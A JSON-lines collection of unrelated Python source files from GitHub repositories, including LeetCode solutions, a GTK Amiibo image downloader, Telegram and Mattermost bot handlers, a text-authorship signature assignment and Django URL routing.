{"seq_id":"30467451907","text":"# You have k lists of sorted integers in ascending order. Find the smallest range that includes at least one number from each of the k lists.\n#\n# We define the range [a,b] is smaller than range [c,d] if b-a < d-c or a < c if b-a == d-c.\n#\n# Example 1:\n# Input:[[4,10,15,24,26], [0,9,12,20], [5,18,22,30]]\n# Output: [20,24]\n# Explanation:\n# List 1: [4, 10, 15, 24,26], 24 is in range [20,24].\n# List 2: [0, 9, 12, 20], 20 is in range [20,24].\n# List 3: [5, 18, 22, 30], 22 is in range [20,24].\n\n\n\n# TLE\nimport heapq\nclass Solution(object):\n    def smallestRange(self, nums):\n        \"\"\"\n        :type nums: List[List[int]]\n        :rtype: List[int]\n        \"\"\"\n        h = []\n        m = 0\n        for i in range(len(nums)):\n            x = nums[i][0]\n            m = max(m,x)\n            heapq.heappush(h,[x,i,1])\n        mini = h[0][0]\n        maxi = m\n        diff = maxi - mini\n        ans = [mini,maxi]\n        while True:\n            value,index,pos = heapq.heappop(h)\n            if pos == len(nums[index]):\n                break\n            x = nums[index][pos]\n\n            heapq.heappush(h,[x,index,pos+1])\n            mini= h[0][0]\n            maxi = max(maxi,x)\n            if maxi - mini < diff:\n                ans = [mini,maxi]\n                diff = maxi - mini\n        return ans\n\n################3\nclass Solution1:\n    def smallestRange(self, nums):\n        three_ele_heap = []\n        maxi = float('-inf')\n        for i in range(len(nums)):\n            ele = Element(nums[i][0], i, 0)\n            heapq.heappush(three_ele_heap, ele)\n            maxi = max(maxi, nums[i][0])\n        # base case\n        start = three_ele_heap[0].val\n        end = maxi\n        distance = end - start\n        # general case\n        while len(three_ele_heap) > 0:\n            ele = heapq.heappop(three_ele_heap)\n            index = ele.index\n            if ele.pos == len(nums[index]) - 1:\n                break\n            val = nums[index][ele.pos + 1]\n            pos = ele.pos + 1\n\n            heapq.heappush(three_ele_heap, Element(val, index, pos))\n            maxi = max(maxi, val)\n            new_distance = maxi - three_ele_heap[0].val\n            if new_distance < distance:\n                start = three_ele_heap[0].val\n                end = maxi\n                distance = new_distance\n\n        return [start, end]\n\n\nclass Element:\n    def __init__(self, val, index, pos):\n        self.val = val\n        self.index = index\n        self.pos = pos\n\n    def __lt__(a, b):\n        return a.val < b.val\n\n\nif __name__ == \"__main__\":\n    nums = [[1,2,3],[1,2,3],[1,2,3]]\n    nums = [[4,10,15,24,26], [0,9,12,20], [5,18,22,30]]\n    nums = [[-5,-4,-3,-2,-1,1],[1,2,3,4,5]]\n    x = Solution1()\n    print(x.smallestRange(nums))\n","repo_name":"dundunmao/LeetCode2019","sub_path":"632. Smallest Range.py","file_name":"632. Smallest Range.py","file_ext":"py","file_size_in_byte":2727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"28798035381","text":"#HW5P2\n#By: Jacob Buurman\n#I pledge my honor that I have abided by the Stevens Honor System.\n\ndef sum():\n    list = eval(input(\"Enter a list of numbers separated by commas: \"))\n    sum = 0\n    for num in list:\n        sum += int(num)\n    print(sum)\n\nsum()\n","repo_name":"Eric-Wonbin-Sang/CS110Manager","sub_path":"2020F_hw5_submissions/buurmanjacob/HW5JacobBuurmanP2.py","file_name":"HW5JacobBuurmanP2.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"24609196966","text":"import gi\ngi.require_version('Gtk', '3.0')\nimport requests\nimport json\nimport threading\nimport os\nfrom gi.repository import Gtk, GdkPixbuf, GLib, Pango\n# Import the modularized components\nfrom ACDcomponents import ThumbnailBox, ImageButton, AmiiboFilterBox\nfrom ACDutils import fetch_amiibo_data, load_image_data\n\n\n\nclass AmiiboApp(Gtk.Box):\n    def __init__(self):\n        super(AmiiboApp, self).__init__(orientation=Gtk.Orientation.VERTICAL)\n\n        self.amiibo_images = []\n        self.selected_images = []\n        self.image_thumbnail_size = 100\n        \n        main_box = self  # Now, AmiiboApp itself is the main box\n\n        # Start - Logo and Label code\n        logo_label_box = Gtk.Box(orientation=Gtk.Orientation.HORIZONTAL, spacing=10)\n        main_box.pack_start(logo_label_box, False, False, 10)\n\n        logo_pixbuf = GdkPixbuf.Pixbuf.new_from_file(\"Amiibo_logo.png\")\n        logo_image = Gtk.Image.new_from_pixbuf(logo_pixbuf)\n        logo_label_box.pack_start(logo_image, False, False, 0)\n\n        title_label = Gtk.Label(\"Cards Downloader\")\n        title_label.set_size_request(300, 0)\n\n        font_desc = title_label.get_pango_context().get_font_description()\n        font_desc.set_size(18 * Pango.SCALE)\n        title_label.modify_font(font_desc)\n\n        logo_label_box.pack_start(title_label, False, False, 0)\n\n        filter_box = Gtk.Box(orientation=Gtk.Orientation.HORIZONTAL)\n        main_box.pack_start(filter_box, False, False, 5)\n\n        self.search_entry = Gtk.Entry()\n        self.search_entry.set_placeholder_text(\"Search\")\n        self.search_entry.connect(\"changed\", self.apply_filters)\n        filter_box.pack_start(self.search_entry, False, False, 5)\n\n        self.amiibo_series_filter = Gtk.ComboBoxText()\n        self.amiibo_series_filter.connect(\"changed\", self.apply_filters)\n        filter_box.pack_start(self.amiibo_series_filter, False, False, 5)\n\n        content_box = Gtk.Box(orientation=Gtk.Orientation.HORIZONTAL)\n        main_box.pack_start(content_box, True, True, 0)\n\n        scrolled_window = Gtk.ScrolledWindow()\n        self.image_listbox = Gtk.ListBox()\n        scrolled_window.add(self.image_listbox)\n        content_box.pack_start(scrolled_window, True, True, 5)\n\n        details_box = Gtk.Box(orientation=Gtk.Orientation.VERTICAL)\n        self.large_image = Gtk.Image()\n        \n\n        details_box.pack_start(self.large_image, True, True, 5)\n        self.info_label = Gtk.Label.new(\"0/9 images selected\")\n        details_box.pack_start(self.info_label, False, False, 5)\n        self.download_button = Gtk.Button(label=\"Download\")\n        self.download_button.connect(\"clicked\", self.download_selected_images)\n        details_box.pack_start(self.download_button, False, False, 5)\n        self.deselect_button = Gtk.Button(label=\"Deselect All\")\n        self.deselect_button.connect(\"clicked\", self.deselect_all_images)\n        details_box.pack_start(self.deselect_button, False, False, 5)\n\n        content_box.pack_start(details_box, False, False, 5)\n        self.show_all()\n\n        threading.Thread(target=self.load_images, daemon=True).start()\n\n    def load_images(self):\n        response = requests.get('https://www.amiiboapi.com/api/amiibo/')\n        amiibo_data = json.loads(response.text)\n        self.amiibo_images = amiibo_data['amiibo']\n\n        amiibo_series = set()\n        for amiibo in self.amiibo_images:\n            amiibo_series.add(amiibo.get('amiiboSeries', 'Unknown'))\n\n        GLib.idle_add(self.amiibo_series_filter.append_text, \"Select Amiibo Series\")\n        for series in sorted(amiibo_series):\n            GLib.idle_add(self.amiibo_series_filter.append_text, series)\n\n        GLib.idle_add(self.amiibo_series_filter.set_active, 0)\n\n    def apply_filters(self, *args):\n        search_query = self.search_entry.get_text().strip().lower()\n        amiibo_series_filter = self.amiibo_series_filter.get_active_text()\n\n        if amiibo_series_filter == \"Select Amiibo Series\":\n            amiibo_series_filter = None\n\n        for row in self.image_listbox.get_children():\n            row.destroy()\n\n        for index, amiibo in enumerate(self.amiibo_images):\n            if search_query and search_query not in amiibo['name'].lower():\n                continue\n\n            if amiibo_series_filter and amiibo_series_filter not in amiibo['amiiboSeries']:\n                continue\n\n            thumbnail_url = amiibo['image']\n            name = amiibo['name']\n            series = amiibo['amiiboSeries']\n            character = amiibo['character']\n            amiibo_type = amiibo['type']\n\n            def create_row(image_data, name, series, character, amiibo_type, url):\n                thumbnail = ThumbnailBox(image_data, name, series, character, amiibo_type)\n                image_button = ImageButton(thumbnail, url)\n                image_button.connect(\"clicked\", self.select_image, amiibo)\n                self.image_listbox.add(image_button)\n                image_button.show_all()\n\n            threading.Thread(target=self.load_image_thumbnail, args=(thumbnail_url, name, series, character, amiibo_type, create_row), daemon=True).start()\n\n    def load_image_thumbnail(self, url, name, series, character, amiibo_type, callback):\n        image_data = self.load_image_data(url, self.image_thumbnail_size)\n        GLib.idle_add(callback, image_data, name, series, character, amiibo_type, url)\n\n    def load_image_data(self, url, size=None):\n        response = requests.get(url)\n        loader = GdkPixbuf.PixbufLoader()\n        loader.write(response.content)\n        loader.close()\n\n        pixbuf = loader.get_pixbuf()\n        if size:\n            aspect_ratio = pixbuf.get_height() / pixbuf.get_width()\n            new_height = size * aspect_ratio\n            pixbuf = pixbuf.scale_simple(size, int(new_height), GdkPixbuf.InterpType.BILINEAR)\n\n        return pixbuf\n\n    def select_image(self, button, amiibo):\n        thumbnail_box = button.get_thumbnail_widget()\n        image_widget = thumbnail_box.get_image()\n        url = button.get_url()\n\n        if len(self.selected_images) >= 9 and image_widget.get_opacity() == 1:\n            return\n\n        if image_widget.get_opacity() < 1:\n            image_widget.set_opacity(1)\n            self.selected_images.remove(url)\n        else:\n            image_widget.set_opacity(0.3)\n            self.selected_images.append(url)\n            large_image_data = self.load_image_data(url)\n            self.large_image.set_from_pixbuf(large_image_data)\n            self.large_image.set_size_request(300, -1)\n            self.large_image.props.icon_size = Gtk.IconSize.DIALOG\n\n        self.update_info_label()\n        self.download_button.set_sensitive(len(self.selected_images) == 9)\n\n    def deselect_all_images(self, button):\n        for row in self.image_listbox.get_children():\n            image_button = row.get_children()[0]\n            thumbnail_box = image_button.get_thumbnail_widget()\n            image_widget = thumbnail_box.get_image()\n            image_widget.set_opacity(1)\n\n        self.selected_images.clear()\n        self.update_info_label()\n        self.download_button.set_sensitive(False)\n\n    def download_selected_images(self, button):\n        amiibo_folder = \"amiibo\"\n        if not os.path.exists(amiibo_folder):\n            os.makedirs(amiibo_folder)\n\n        for index, url in enumerate(self.selected_images):\n            image_data = self.load_image_data(url)\n            file_path = os.path.join(amiibo_folder, f\"image{index+1}.png\")\n            image_data.savev(file_path, 'png', [], [])\n\n        print(f\"{len(self.selected_images)} images downloaded to {amiibo_folder}\")\n\n    def update_info_label(self):\n        self.info_label.set_text(f\"{len(self.selected_images)}/9 images selected\")","repo_name":"radio0but/amiibocardscript","sub_path":"AmiiboCardsDownloader.py","file_name":"AmiiboCardsDownloader.py","file_ext":"py","file_size_in_byte":7743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"8556594978","text":"import re\nimport string\nfrom aiogram import Dispatcher, types\nfrom aiogram.dispatcher import FSMContext\nfrom aiogram.dispatcher.filters import Text\nfrom aiogram.dispatcher.filters.state import StatesGroup, State\nfrom config import ADMIN\nfrom keyboard.clent_kb import direct_markup, submit_markup, cancel_markup\nfrom database import command_insert_sql\n\n\nclass FSMAdmin(StatesGroup):\n    id_mentor = State()\n    name_mentor = State()\n    direct_mentor = State()\n    age_mentor = State()\n    group_mentor = State()\n    submit = State()\n\n\nasync def start_fsm(message: types.Message):\n    if message.from_user.id != ADMIN:\n        await message.answer('Функция доступна только для админа!')\n    else:\n        await FSMAdmin.id_mentor.set()\n        await message.answer('id ментора?', reply_markup=cancel_markup)\n\n\nasync def load_id_mentor(message: types.Message, state: FSMContext):\n    if not message.text.isdigit():\n        await message.answer('id должен состоять только из цифр')\n    elif message.text.isdigit():\n        if len(message.text) != 10:\n            await message.answer('id должен содержать не менее 10 цифр')\n        else:\n            async with state.proxy() as data:\n                data['id_mentor'] = message.text\n            await FSMAdmin.next()\n            await message.answer('Имя ментора?', reply_markup=cancel_markup)\n\n\nasync def load_name_mentor(message: types.Message, state: FSMContext):\n    if not message.text.isalpha():\n        if [i for i in message.text if i in string.digits]:\n            await message.answer('Имя не должно содержать цифр')\n        else:\n            await message.answer('В имени присутствуют недопустимые символы.')\n    else:\n        async with state.proxy() as data:\n            data['name_mentor'] = message.text\n        await FSMAdmin.next()\n        await message.answer('Направление ментора', reply_markup=direct_markup)\n\n\nasync def load_direct_mentor(message: types.Message, state: FSMContext):\n    direct = ['backend', 'frontend', 'fullstack']\n    if message.text not in direct:\n        await message.answer('Такого направления нет')\n    else:\n        async with state.proxy() as data:\n            data['direct_mentor'] = message.text\n        await FSMAdmin.next()\n        await message.answer('Какой возраст?', reply_markup=cancel_markup)\n\n\nasync def load_age_mentor(message: types.Message, state: FSMContext):\n    normal_age = [str(i) for i in range(17, 60)]\n\n    if not message.text.isdigit():\n        await message.answer('Пиши только число')\n\n    elif message.text.isdigit() and message.text not in normal_age:\n        await message.answer('Возрастное ограничение')\n    else:\n        async with state.proxy() as data:\n            data['age_mentor'] = message.text\n        await FSMAdmin.next()\n        await message.answer('какая группа?', reply_markup=cancel_markup)\n\n\nasync def load_group_mentor(message: types.Message, state: FSMContext):\n    example = re.findall(r'[a-zA-Z-]+[1-9]+', message.text)\n    print(len(example))\n    if len(example) <= 0:\n        await message.answer(f'Неправильное название группы. Нужно писать так, например\\nPy-21 или UX-UI-12')\n    else:\n        async with state.proxy() as data:\n            data['group_mentor'] = message.text\n        await FSMAdmin.next()\n        await message.answer(f\"id_ментора: {data['id_mentor']}\\nИмя ментора: {data['name_mentor']}\"\n                                          f\"\\nНаправление: {data['direct_mentor']}\"\n                                          f\"\\nВозраст: {data['age_mentor'] }\\nГруппа: {data['group_mentor']}\",)\n\n        await message.answer('Все верно?', reply_markup=submit_markup)\n\n\nasync def submit_fsm(message: types.Message, state: FSMContext):\n    if message.text not in ['да', 'нет']:\n        await message.answer('Выбери ответ из списка!')\n    else:\n        if message.text.lower() == 'да':\n            await command_insert_sql(state)\n            await state.finish()\n            await message.answer('Ты зареган')\n        elif message.text.lower() == 'нет':\n            await state.finish()\n            await message.answer('Не хочешь, не надо!')\n\n\nasync def cancel_fsm(message:types.Message, state: FSMContext):\n    current_state = await state.get_state()\n    if current_state is not None:\n        await state.finish()\n        await message.answer('Регистрация отменена')\n\n\ndef register_fsm_handlers(dp: Dispatcher):\n    dp.register_message_handler(cancel_fsm,  state='*', commands=['cancel'])\n    dp.register_message_handler(cancel_fsm, Text(equals='cancel', ignore_case=True), state='*',)\n    dp.register_message_handler(start_fsm, commands=['reg'])\n    dp.register_message_handler(load_id_mentor, state=FSMAdmin.id_mentor)\n    dp.register_message_handler(load_name_mentor, state=FSMAdmin.name_mentor)\n    dp.register_message_handler(load_direct_mentor, state=FSMAdmin.direct_mentor)\n    dp.register_message_handler(load_age_mentor, state=FSMAdmin.age_mentor)\n    dp.register_message_handler(load_group_mentor, state=FSMAdmin.group_mentor)\n    dp.register_message_handler(submit_fsm, state=FSMAdmin.submit)\n","repo_name":"Yummy312/Geekbot","sub_path":"handlers/FSMAdminMentor.py","file_name":"FSMAdminMentor.py","file_ext":"py","file_size_in_byte":5486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"18088384018","text":"from socket import *\n\ndef data_receive(x,y):\n\n    result = str(x)+\",\"+str(y)+',3,4,5,6,0,0,0,10,10,10,10,0'\n    print(\"result : \", result)\n    return result\n\nclientSock = socket(AF_INET, SOCK_STREAM)\nclientSock.connect(('192.168.35.9', 8080))\n\nli_x = [3,5,0,0,10,10 ]\nli_y = [4,6,0,10,10,0 ]\nprint('연결 확인 됐습니다.')\n    \nli = data_receive(li_x[5],li_y[5])\nclientSock.send(li.encode('utf-8'))\n\nprint('메시지를 전송했습니다.')\n\ndata = clientSock.recv(1024)\nprint('받은 데이터 : ', data.decode('utf-8'))\n","repo_name":"min19828257/Three_cusion","sub_path":"쓰리쿠션 여부판단 알고리즘2/socket_client.py","file_name":"socket_client.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"35862185043","text":"from typing import Any\n\nfrom apscheduler.schedulers.asyncio import AsyncIOScheduler\nfrom dependency_injector.wiring import Provide, inject\nfrom mmpy_bot import ActionEvent, Plugin, listen_webhook\n\nfrom src.bot.services.matching import MatchingService\nfrom src.bot.services.notify_service import NotifyService\nfrom src.core.db.models import MatchReviewAnswerEnum\nfrom src.depends import Container\n\nMONDAY_TIME_SENDING_MESSAGE = 10\nDAY_OF_WEEK_MONDAY = \"mon\"\nFRIDAY_TIME_SENDING_MESSAGE = 11\nDAY_OF_WEEK_FRIDAY = \"fri\"\nSUNDAY_TIME_SENDING_MESSAGE = 11\nDAY_OF_WEEK_SUNDAY = \"sun\"\nWEDNESDAY_TIME_SENDING_MESSAGE = 11\nDAY_OF_WEEK_WEDNESDAY = \"wed\"\n\n\nclass WeekRoutine(Plugin):\n    @inject\n    def on_start(\n        self,\n        notify_service: NotifyService = Provide[Container.week_routine_service,],\n        matching_service: MatchingService = Provide[Container.matching_service],\n        scheduler: AsyncIOScheduler = Provide[Container.scheduler],\n    ) -> None:\n        scheduler.add_job(\n            notify_service.notify_all_users,\n            \"cron\",\n            day_of_week=DAY_OF_WEEK_FRIDAY,\n            hour=FRIDAY_TIME_SENDING_MESSAGE,\n            kwargs=dict(plugin=self, title=\"Еженедельный пятничный опрос\"),\n        )\n        scheduler.add_job(\n            matching_service.run_matching,\n            \"cron\",\n            day_of_week=DAY_OF_WEEK_SUNDAY,\n            hour=SUNDAY_TIME_SENDING_MESSAGE,\n        )\n        scheduler.add_job(\n            notify_service.meeting_notifications,\n            \"cron\",\n            day_of_week=DAY_OF_WEEK_MONDAY,\n            hour=MONDAY_TIME_SENDING_MESSAGE,\n            kwargs=dict(plugin=self),\n        )\n        scheduler.add_job(\n            self.wednesday_notification_and_closing_meetings,\n            \"cron\",\n            day_of_week=DAY_OF_WEEK_WEDNESDAY,\n            hour=WEDNESDAY_TIME_SENDING_MESSAGE,\n            kwargs=dict(notify_service=notify_service, matching_service=matching_service),\n        )\n        scheduler.start()\n\n    @inject\n    async def _change_user_status(\n        self, user_id: str, notify_service: NotifyService = Provide[Container.week_routine_service,]\n    ) -> None:\n        await notify_service.set_waiting_meeting_status(user_id)\n\n    @listen_webhook(\"set_waiting_meeting_status\")\n    async def add_to_meeting(\n        self,\n        event: ActionEvent,\n    ) -> None:\n        await self._change_user_status(event.user_id)\n        self.driver.respond_to_web(\n            event,\n            {\n                \"update\": {\"message\": \"До встречи!\", \"props\": {}},\n            },\n        )\n\n    @listen_webhook(\"not_meeting\")\n    async def no(self, event: ActionEvent) -> None:\n        self.driver.respond_to_web(\n            event,\n            {\n                \"update\": {\"message\": \"На следующей неделе отправлю новое предложение.\", \"props\": {}},\n            },\n        )\n\n    @listen_webhook(\"match_review_is_complete\")\n    async def answer_yes(\n        self,\n        event: ActionEvent,\n    ) -> None:\n        await self._save_user_answer(event.user_id, MatchReviewAnswerEnum.IS_COMPLETE)\n        self.driver.respond_to_web(\n            event,\n            {\n                \"update\": {\n                    \"message\": \"Поделитесь итогами вашей встречи в канале \"\n                    '\"Coffee на этой неделе\", отправьте фото и '\n                    \"краткие эмоции, чтобы мотивировать других \"\n                    \"поучаствовать в Random Coffee!\",\n                    \"props\": {},\n                },\n            },\n        )\n\n    @listen_webhook(\"match_review_is_not_complete\")\n    async def answer_no(\n        self,\n        event: ActionEvent,\n    ) -> None:\n        await self._save_user_answer(event.user_id, MatchReviewAnswerEnum.IS_NOT_COMPLETE)\n        user_nickname = await self._get_pair_nickname(event.user_id)\n        self.driver.respond_to_web(\n            event,\n            {\n                \"update\": {\n                    \"message\": f\"Неделя скоро закончится, не забудь \"\n                    f\"познакомиться с новым человеком и провести \"\n                    f\"время за классным разговором, напиши \"\n                    f\"{user_nickname} точно ждёт вашей встречи\",\n                    \"props\": {},\n                },\n            },\n        )\n\n    @inject\n    async def _save_user_answer(\n        self, user_id: str, answer: str, notify_service: NotifyService = Provide[Container.week_routine_service,]\n    ) -> None:\n        await notify_service.set_match_review_answer(user_id, answer)\n\n    @inject\n    async def _get_pair_nickname(\n        self, user_id: str, matching_service: MatchingService = Provide[Container.matching_service,]\n    ) -> Any:\n        return await matching_service.get_match_pair_nickname(user_id)\n\n    async def wednesday_notification_and_closing_meetings(\n        self,\n        notify_service: NotifyService,\n        matching_service: MatchingService,\n    ) -> None:\n        await notify_service.match_review_notifications(plugin=self)\n        await matching_service.run_closing_meetings()\n","repo_name":"Studio-Yandex-Practicum/RandomCoffeeBot","sub_path":"src/bot/plugins/week_routine.py","file_name":"week_routine.py","file_ext":"py","file_size_in_byte":5317,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"36"}
{"seq_id":"14483969623","text":"from word_collector import *\nfrom article_recommendation import *\nimport pandas as pd\nimport pickle\nimport gzip\nimport os\nimport sys\n\ndef make_text(room):\n\tperfect = True\n\ttext = \"어제 하루 동안 다음과 같은 단어를 사용하였습니다.\\n\\\n\t\t-----------------------------\\n\"\n\tfor word in room.wordDict.keys():\n\t\tw = room.wordDict[word]\n\t\tif w.history != 0:\n\t\t\ttext += \"<{0}> 혐오도 : {1}, 사용한 횟수 : {2}\\n\".format(w.word,w.score,w.history)\n\t\t\ttext += \"사용하신 단어 <\"+word+\">와 관련된 다음과 같은 기사를 추천드립니다!\\n\"+get_article(word)+\"\\n\\n\"\n\t\t\tperfect = False\n\t\tw.history = 0\n\n\tif perfect:\n\t\ttext =  \"축하합니다! 어제 하루동안 설정된 단어를 하나도 사용하지 않았습니다!\"\n\n\treturn text\n\n\ndef daily_report(): #사용한 단어 초기화\n\twith gzip.open(roomFile,'rb') as f:\n\t\tdata = pickle.load(f)\n\n\toutput = []\n\troom_list = data.keys()\n\tfor room in room_list:\n\t\troom_json = {\n\t\t\t\"room\" : room,\n\t\t\t\"text\" : make_text(data[room])\n\t\t}\n\t\toutput.append(room_json)\n\treturn output\n\n\n","repo_name":"mjhbest/dont-abuse-chatbot","sub_path":"server/app/daily_report.py","file_name":"daily_report.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"38437303372","text":"import re\nfrom statistics import median\nfrom operator import itemgetter\n\n\ndef le_assinatira():\n    \"\"\"\n        The function reads the values of the linguistic features \n        of the model and returns a signature to be compared with\n        the texts provided.\n    \"\"\"\n    print(\"Welcome to the automatic COH-PIAH detector.\")\n\n    wal = float(input(\"Enter the average word size: \"))\n    ttr = float(input(\"Enter the Type-Token interface: \"))\n    hlr = float(input(\"Enter the Reason Hapax Legomana: \"))\n    sal = float(input(\"Enter the sentence size: \"))\n    sac = float(input(\"Enter the average sentence complexity: \"))\n    pal = float(input(\"Enter the average sentence size: \"))\n\n    return [wal, ttr, hlr, sal, sac, pal]\n\n\ndef le_textos():\n    i = 1\n    textos = []\n    texto = input(f\"Enter text {str(i)} (press enter to exit): \")\n    while texto:\n        textos.append(texto)\n        i += 1\n        texto = input(f\"Enter text {str(i)} (press enter to exit): \")\n    return textos\n\n\ndef separa_sentencas(texto: str) -> list:\n    \"\"\"\n       The function receives a text and returns a list of sentences\n       within the text. \n    \"\"\"\n    sentencas = re.split(r\"[.!?]+\", texto)\n    if sentencas[-1] == \"\":\n        del sentencas[-1]\n    return sentencas\n\n\ndef separa_frases(sentenca: str) -> list:\n    \"\"\"\n        The function receives a sentence and returns\n        a list of phrases within the sentence.\n    \"\"\"\n    return re.split(r\"[,:;]+\", sentenca)\n\n\ndef separa_palavras(frase: str) -> list:\n    \"\"\"\n        The function receives a sentence and returns a list\n        of words within the sentence.\n    \"\"\"\n    return frase.split()\n\n\ndef n_palavras_unicas(lista_palavras):\n    \"\"\"\n        This function receives a list of words and returns the \n        number of words that appear only once.\n    \"\"\"\n    freq = dict()\n    unicas = 0\n    for palavra in lista_palavras:\n        p = palavra.lower()\n        if p in freq:\n            if freq[p] == 1:\n                unicas -= 1\n            freq[p] += 1\n        else:\n            freq[p] = 1\n            unicas += 1\n\n    return unicas\n\n\ndef n_palavras_diferentes(lista_palavras):\n    \"\"\"\n        This function receives a list of words and returns the \n        number of different words used.\n    \"\"\"\n    freq = dict()\n    for palavra in lista_palavras:\n        p = palavra.lower()\n        if p in freq:\n            freq[p] += 1\n        else:\n            freq[p] = 1\n\n    return len(freq)\n\n\ndef compara_assinatura(as_a, as_b):\n    \"\"\"\n        TO IMPLEMENT. This function receives two text signatures \n        and must return the degree of similarity in the signatures.\n    \"\"\"\n    diferenca = sum(abs(a - b) for a, b in zip(as_a, as_b))\n    print(diferenca)\n    print(diferenca / 6)\n    return diferenca / 6\n\n\ndef calcula_assinatura(texto):\n    \"\"\"\n        TO IMPLEMENT. This function receives a text and must return \n        the text signature.\n    \"\"\"\n    return [\n        calcula_tamanho_medio_palavra(texto),\n        calcula_type_token(texto),\n        calcula_hapax_legomana(texto),\n        calcula_tamanho_medio_sentenca(texto),\n        calcula_complexidade_sentenca(texto),\n        calcula_tamanho_medio_frase(texto),\n    ]\n\n\ndef avalia_textos(textos, ass_cp):\n    \"\"\"\n        TO IMPLEMENT. This function receives a list of texts and\n        an ass_cp signature and must return the number (1 to n) of\n        the text most likely to have been infected with COH-PIAH.\n    \"\"\"\n    aux = {}\n    for k, v in enumerate(textos):\n        ass = calcula_assinatura(v)\n        aux[k + 1] = compara_assinatura(ass_cp, ass)\n    aux = sorted(aux.items(), key=itemgetter(1))\n    return aux[0][0]\n\n\ndef calcula_tamanho_medio_palavra(texto: str) -> float:\n    frases = retorna_lista_frases(texto)\n    palavras = []\n    for frase in frases:\n        palavras.extend([len(palavra) for palavra in separa_palavras(frase)])\n\n    return sum(palavras) / len(palavras)\n\n\ndef calcula_type_token(texto: str) -> float:\n    frases = retorna_lista_frases(texto)\n    palavras = []\n    for frase in frases:\n        palavras.extend(separa_palavras(frase))\n    return n_palavras_diferentes(palavras) / len(palavras)\n\n\ndef calcula_hapax_legomana(texto: str) -> float:\n    frases = retorna_lista_frases(texto)\n    palavras = []\n    for frase in frases:\n        palavras.extend(separa_palavras(frase))\n    return n_palavras_diferentes(palavras) / n_palavras_unicas(palavras)\n\n\ndef calcula_tamanho_medio_sentenca(texto: str) -> float:\n    average = []\n    for item in separa_sentencas(texto):\n        average.append(len(item))\n    return median(average)\n\n\ndef calcula_complexidade_sentenca(texto: str) -> float:\n    sentencas = separa_sentencas(texto)\n    return len(retorna_lista_frases(texto)) / len(sentencas)\n\n\ndef calcula_tamanho_medio_frase(texto: str) -> float:\n    tamanho_das_frases = [len(item) for item in retorna_lista_frases(texto)]\n    return sum(tamanho_das_frases) / len(retorna_lista_frases(texto))\n\n\ndef retorna_lista_frases(texto: str) -> list:\n    frases = []\n    sentencas = separa_sentencas(texto)\n    for item in sentencas:\n        frases.extend(separa_frases(item))\n    return frases\n\n\nif __name__ == \"__main__\":\n    assinatura = le_assinatira()\n    textos = le_textos()\n    result = avalia_textos(textos, assinatura)\n    print(result)\n","repo_name":"carlos-moreno/algorithms","sub_path":"coh_piah.py","file_name":"coh_piah.py","file_ext":"py","file_size_in_byte":5279,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"29221107724","text":"from django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nfrom django.urls import path, include\n\nurlpatterns = [\n    path('admin/', admin.site.urls),\n    path('auth/', include('authentication.urls', namespace='auth')),\n    path('', include('expenses.urls', namespace='expenses')),\n    path('', include('income.urls', namespace='income')),\n    path('preferences/', include('userpreferences.urls', namespace='preferences')),\n]\n\nif settings.DEBUG:\n    urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n    urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","repo_name":"rakibul-islam-raju/income-expense","sub_path":"project/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"19406451830","text":"#\n# @lc app=leetcode id=567 lang=python3\n#\n# [567] Permutation in String\n#\n\n# @lc code=start\nclass Solution:\n    # Prune 版本\n    def checkInclusion(self, s1: str, s2: str) -> bool:\n        mp, mp_sub = {}, {}\n        start = 0\n\n        for char in s1:\n            mp_sub[char] = mp_sub.get(char, 0) + 1\n\n        for end in range(len(s2)):\n            char = s2[end]\n            # 如果非验证集里，跳过，reset start and mp\n            if char not in mp_sub:\n                start = end + 1\n                mp = {}\n            else:\n                # 如果在，添加，验证，缩窗口\n                mp[char] = mp.get(char, 0) + 1\n                if mp == mp_sub:\n                    return True\n                while mp[char] > mp_sub[char]:\n                    if s2[start] in mp:\n                        mp[s2[start]] -= 1\n                        start += 1\n\n        return False\n        \n# 粗暴一点的办法\nclass Solution:\n    def checkInclusion(self, s1: str, s2: str) -> bool:\n        # Step 1\n        # 定义需要维护的变量\n        # 因为和排列相关 (元素相同，顺序可以不同)，使用哈希表\n        hashmap2 = {}\n\n        # Step 1.1: 同时建立s1的哈希表 (这个哈希表不需要维护，为定值)\n        hashmap1 = {}\n        for char in s1:\n            hashmap1[char] = hashmap1.get(char, 0) + 1\n        \n        # Step 2: 定义窗口的首尾端 (start, end)， 然后滑动窗口\n        start = 0\n        for end in range(len(s2)):\n            # Step 3: 更新需要维护的变量 (hashmap2)， 如果hashmap1 == hashmap2，代表s2包含s1的排列，直接return\n            tail = s2[end]\n            hashmap2[tail] = hashmap2.get(tail, 0) + 1\n            if hashmap1 == hashmap2:\n                    return True\n\n            # Step 4: \n            # 根据题意可知窗口长度固定，所以用if\n            # 窗口左指针前移一个单位保证窗口长度固定, 同时提前更新需要维护的变量 (hashmap2)\n            if end >= len(s1) - 1:\n                head = s2[start]\n                hashmap2[head] -= 1\n                if hashmap2[head] == 0:\n                    del hashmap2[head]\n                start += 1\n        # Step 5： 没有在s2中找到s1的排列，返回False\n        return False\n\n# @lc code=end\n\n","repo_name":"Matthewow/Leetcode","sub_path":"vscode_extension/567.permutation-in-string.py","file_name":"567.permutation-in-string.py","file_ext":"py","file_size_in_byte":2315,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"}
